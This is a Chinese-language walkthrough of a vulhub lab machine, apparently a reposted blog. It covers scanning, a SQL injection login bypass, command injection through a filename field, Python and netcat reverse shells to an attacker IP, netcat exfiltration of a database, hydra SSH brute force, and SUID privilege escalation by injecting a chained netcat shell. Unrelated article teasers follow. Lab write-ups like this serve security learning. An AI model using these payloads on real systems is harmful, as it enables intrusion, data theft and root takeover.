【打靶】vulhub打靶系列(一)—小白视野的渗透测试

news2024/9/20 6:14:58

主机探测

arpscan

arp-scan -l

另一种方法arping

for i in $(seq 1 200); do sudo arping -c 1 192.168.56.$i; done

注意这个必须是root权限

端口探测

nmap

nmap -p- -sV -T4 192.168.56.104

发现8080端口

web测试

访问下web页面

1、通过逻辑点绕过

发送到xia_sql发现可能存在sql注入

导入sql的fuzz字典跑包

发现返回包有异常,观察这些长度异常的payload,可以判断出是双引号自动闭合

那就直接” or 1 = 1 -- q绕过

2、爆破绕过

爆破许可证(相当于就是密码么):password

进一步测试

登入到这个页面之后进行观察:

发现是输入文件名进行扫描,相当于文件名起到一个选择扫描方式的作用,拼接管道符看能否是在bash或者temtrol上执行的

执行 ​​hello | ls​

页面回显,尝试监听进而更方便的执行指令

尝试监听

1、通过自带的python反弹shell

攻击机启动监听,反弹shell时候可以用网上烂大街的python反弹shell(因为前期通过nmap扫描发现有python2的环境)

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.128",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

2、通过nc反弹shell【看运气,看人服务器上有无nc】

攻击机启动4444端口的监听

nc -nvlp 4444

web页面输入

hello|nc 192.168.56.102 4444 -e /bin/sh

# hello 使页面正常运行
# 192.168.56.102 攻击机的ip
# -e /bin/bsh  反弹回服务器的shell
# 注意最后一段,我们不是单纯的为了监听,而是为了让他反弹shell过来

但实际执行之后发现4444未能接受到任何信息,说明很有可能是nc版本不同导致的-e参数无效,有这个猜想之后可以直接去掉-e看看监听是否有问题

hello|nc 192.168.56.102 4444

发现监听没问题,说明我们的猜想是对的

接下来通过串联nc的方式来代替-e参数反弹shell的问题

输入

hello |nc 192.168.56.102 4444 |/bin/bash |nc 192.168.56.102 3333

# hello 确保web页面正常执行
# nc 192.168.56.102 4444监听攻击机的4444端口【建立连接】
# /bin/bash  将所有的指令传递给/bin/bash解析(管道符实现的)【传递指令并执行】
# nc 192.168.56.102 3333监听攻击机的3333端口【返回指令执行的结果】
# 【确保运行】|【建立连接】|【接受指令并解析】|【返回结果】

因此攻击机需要开启两个监听,4444用于建立连接,3333用于查看执行结果

成功监听

发现是scanner,权限不够,接下来的所有操作都是为了提权到root权限

主机信息收集

执行ls -l获取更多的信息,查看哪些是可以利用的文件或工具

看见root权限下有执行权限的两个文件

其实可以逐个看下

app.py

看下数据库文件

发现是sqlite3 的数据库文件(本地的数据库文件),看看有没有sqlite环境从而查看下数据库文件内的机密信息

转存数据库文件

在靶机开启nc将database的内容传给攻击机的5555端口

nc -nvlp 192.168.56.102 5555 # 连接攻击机的5555端口监听,并将database.sql的内容传递给攻击机的5555端口

在kali开启5555端口监听,将监听到的内容传递给db.sql中

nc 5555 > db1.sql
# 将nc的5555监听到的内容全部传给db.sql中

这里需要注意一个点,过一小会主动断掉连接,因为文件小,已经传完了,但没有回显所以你不知道

查看数据库

# sqlite3   --进入sqlite
> .open db1.sql  --打开db1文件
> .database     -- 进入数据库
> .dump        --dump下来

有了数据库密码,结合下用户

ssh爆破

监听上使用cat /etc/passwd|grep /bin/bash 获取到账号,结合这个数据库的密码尝试下ssh爆破(利用九头蛇)

hydra -l user -P password.txt ssh://192.168.56.104

执行后发现全部失败,爆破失败

进一步信息收集

向上跳一级查看其他文件

找见一个s权限文件,尝试通过这个文件间接执行root权限下的指令

SUID提权

cat update_cloudav.c

通过分析代码可以设想,当我们执行update_cloudav时必须跟上一个参数,尝试下a参数,命令行输入

./update_cloudav a

日志报错,但不清楚这个日志报错会对程序或者提权有怎样的作用,会不会影响后续提权等

所以正常尝试就好

依旧采用nc串联的方式尝试利用root权限

输入

./update_cloudav "a|nc 192.168.56.102 555|/bin/bash|nc 192.168.56.102 666"

并在攻击机开启监听(555和666端口的监听,指令依旧是nc -nvlp [端口号])

成功提权至root权限​

小bug:刚开始是监听向5555和6666但6666的监听不到,5555也是三次的两次监听不到,所以这种情况下换下端口就行!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1132976.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

gitlab查看、修改用户和邮箱,gitlab生成密钥

查看用户、邮箱 git config user.name git config user.email 修改用户、邮箱 git config --global user.name “xxx” git config --global user.email “xxxxxx.com” 生成ssh密钥 ssh-keygen -t rsa -C “xxxxxx.com” 查看SSH秘钥 cat ~/.ssh/id_rsa.pub 将秘钥复制&…

Redis数据类型——set类型数据介绍及操作

1.set类型介绍及基本操作 2.set类型数据的扩展操作

2023年5个美国代理IP推荐,最佳代理花落谁家?

美国代理IP指的是代理服务器位于美国的IP地址,对于跨境业务来说,这些代理IP地址可以用于隐藏用户的真实IP地址,将其网络流量路由通过美国的服务器,以实现一些特定的目的。由于近年来,面向美国市场的跨境商家越来越多&a…

Spring无法加载静态属性和SpringBoot单元测试指定加载配置文件

一、Spring无法加载静态属性,怎么解决? Spring主要用于管理和注入Bean(对象)的实例属性,而不是静态属性。静态属性属于类本身,而不是类的实例,因此Spring的依赖注入机制不会处理它们。 看图&a…

力扣:138. 随机链表的复制(Python3)

题目: 给你一个长度为 n 的链表,每个节点包含一个额外增加的随机指针 random ,该指针可以指向链表中的任何节点或空节点。 构造这个链表的 深拷贝。 深拷贝应该正好由 n 个 全新 节点组成,其中每个新节点的值都设为其对应的原节点…

【Linux】Centos yum源替换

YUM是基于RPM包管理,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软件包,无须繁琐地一次次下载、安装。 CentOS 8操作系统版本结束了生命周期(EOL)&#xff0…

设备保修小程序开发制作方案

设备保修小程序定位为一款专业的设备保修服务平台,旨在为用户提供便捷、高效、优质的设备保修服务。 一、用户需求 用户需要快速了解设备的保修政策和流程。 用户需要方便地提交保修申请和查询保修进度。 用户需要及时获取设备的维修信息和维修结果。 用户需要对设…

【鸿蒙软件开发】自定义弹窗(CustomDialog)

文章目录 前言一、创建自己第一个自定义弹窗1.1 创建自定义弹窗1.2 创建构造器,与装饰器呼应相连CustomDialogController参数详解函数介绍open() close() 1.3 点击与onClick事件绑定的组件使弹窗弹出 二、示例代码总结 前言 自定义弹窗(CustomDialog&am…

Pycharm 中 py 文件预设 文件头部信息

文章目录 一、设置模板步骤:二、其他 一、设置模板步骤: “文件File–设置Settings–编辑器Editor–File and Code Templates- Python Script” 里面设置模板 二、其他 其他可用的预定义文件模板变量为: $ {PROJECT_NAME} - 当前项目的名称…

语雀暂别8小时:探究P0级故障幕后原因及补偿策略揭晓!

作者:苍何,CSDN 2023 年 实力新星,前大厂高级 Java 工程师,阿里云专家博主,土木转码,现任部门技术 leader,专注于互联网技术分享,职场经验分享。 🔥热门文章推荐&#xf…

攻防世界-web-FlatScience

1. 题目描述 打开链接,看到如下界面 界面上的链接都点击下,发现都是一些英文论文 这些暂时是我们从界面上能发现的全部信息了 2. 思路分析 && 解题过程 2.1 先将网站使用nikto命令扫描一下 我们发现除了显式的界面外,还有两个隐藏…

基于MATLAB的Simulink搭建一阶低通滤波器

一、一阶低通滤波的原理 式子中的α作为滤波系数,X ( n ) 为本次的采样值,Y ( n − 1 ) 为上次滤波的输出值,Y ( n ) 为本次滤波后的输出值 一阶低通滤波器是一种常用的信号处理算法,用于去除高频噪声和平滑信号。其基本原理是通过…

4.2 QPainter的绘图接口介绍(上)

4.2 QPainter的接口介绍(上) 上一篇文章中讲述了在哪里绘图,怎么开始绘制,怎么跟绘制设备绑定、解绑等基础知识,今天就来点实操的,下面坐好了,开始阅读吧。 下图是《C++ GUI Programming with Qt 4》这本书中列出的关于QPainter常用的画图方法,基本上都是以draw开头,…

用libuv实现遍历文件系统

熟悉的陌生人 Node.js可能无人不知无人不晓,但Node.js底层实现libuv,恐怕认识的同学就不多了。 libuv是一个跨平台的高性能的异步I/O库,也是是一个网络I/O扩展库,是一个高性能事件驱动的程序库,封装了Windows和Unix平…

【C++】继承 ⑩ ( 继承机制中的 static 静态成员 | 子类中访问父类静态成员的方法 )

文章目录 一、继承机制中派生类中的 static 关键字1、子类继承父类静态成员2、父类静态成员访问控制权限的改变3、子类如何访问父类静态成员4、静态成员使用要点 二、完整代码示例 一、继承机制中派生类中的 static 关键字 1、子类继承父类静态成员 子类继承父类静态成员 : 父类…

Java商城免费搭建 VR全景商城 saas商城 b2b2c商城 o2o商城 积分商城 秒杀商城 拼团商城 分销商城 短视频商城

涉及平台 平台管理、商家端(PC端、手机端)、买家平台(H5/公众号、小程序、APP端(IOS/Android)、微服务平台(业务服务) 2. 核心架构 Spring Cloud、Spring Boot、Mybatis、Redis …

基于Java+SpringBoot+MyBatis+Vue前后端分离宠物领养设计与实现

博主介绍:✌全网粉丝5W,全栈开发工程师,从事多年软件开发,在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战,博主也曾写过优秀论文,查重率极低,在这方面有丰富的经验…